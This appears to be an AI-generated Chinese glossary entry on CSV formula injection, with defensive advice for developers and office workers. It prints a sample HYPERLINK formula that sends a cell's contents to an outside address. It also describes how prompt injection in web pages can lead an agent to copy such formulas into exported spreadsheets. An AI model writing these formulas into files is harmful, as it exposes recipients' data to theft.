跳到主内容
快讯直播
AI智模界
AI 词典

CSV 公式注入:智能体导出的表格,可能是别人的执行入口

一句话定义

CSV 公式注入(CSV Formula Injection,也叫 Formula Injection)是指:程序把不可信的文本写进 CSV 单元格时,如果这段文本恰好以 = 之类的字符开头,收件人用电子表格软件打开后,它就会被当成公式求值,而不是显示成一段普通文字。

白纸与朗读员

CSV 本身只是一张白纸,它没有任何“这是代码”的概念,也不做转义。真正会“读”它的是 Excel、Google Sheets、LibreOffice Calc 这类软件。这些软件打开文件时逐格判断:以 = 开头的,是公式;以 +、-、@ 开头的,在不少版本里也会被当成公式起点。

打个比方:CSV 像一张写着字的纸条,表格软件像个听到指令就照做的助手。你把别人塞进来的话原样递过去,助手不会问“这话是谁说的”,只管执行。

于是 =1+1 显示成 2,而 =HYPERLINK("http://某地址/"&A1,"点这里") 会变成一个可点的链接——点一下,同一行 A1 单元格的内容就被拼进网址发出去了。这就是典型的数据外带路径。更老的动态数据交换(DDE)写法还能诱导弹窗,具体行为取决于表格软件的版本与安全设置,以官方说明为准。

智能体为什么特别容易踩

智能体读网页、读邮件、读工单,汇总成表格导出 CSV,是再常见不过的流程。攻击者只要在网页正文里埋一句以 = 开头的文本,模型很可能认为“这就是表格里的一格内容”,于是忠实抄进去。模型其实没做错什么,它只是转录;问题出在导出层没有把“数据”和“公式”分开。

和相邻概念的区别

概念被误当成代码的东西在哪里执行
SQL 注入用户输入数据库
XSS(跨站脚本)用户输入浏览器
提示注入(AI 词典:Prompt Injection">Prompt Injection)外部文本模型
CSV 公式注入单元格文本收件人的表格软件

关键差别在于:提示注入攻击的是模型,CSV 公式注入攻击的是打开文件的那个人。两者经常被串联使用:先用提示注入让模型把恶意内容搬进表格,再由收件人双击打开完成最后一击。

对从业者和普通人的意义

给做产品的人:导出功能是一个信任边界。让模型直接拼 CSV 字符串是危险的默认做法;更稳的是让模型输出结构化 JSON,由受控的导出层负责转义和类型标注。

给写代码的人:一是对以 =、+、-、@、制表符、回车开头的单元格加前缀(常见做法是前置一个单引号或空格),把它压回纯文本;二是用表格库显式把单元格类型标为字符串,或直接导出 xlsx,而不是手工拼分隔符。

给普通职场人:来历不明的 CSV,别双击,用“数据 → 从文本/CSV 导入”,在向导里把列格式指定为文本。多花十秒,少一次意外。

AI 生成本文由 AI 基于公开信息自动生成,仅供参考。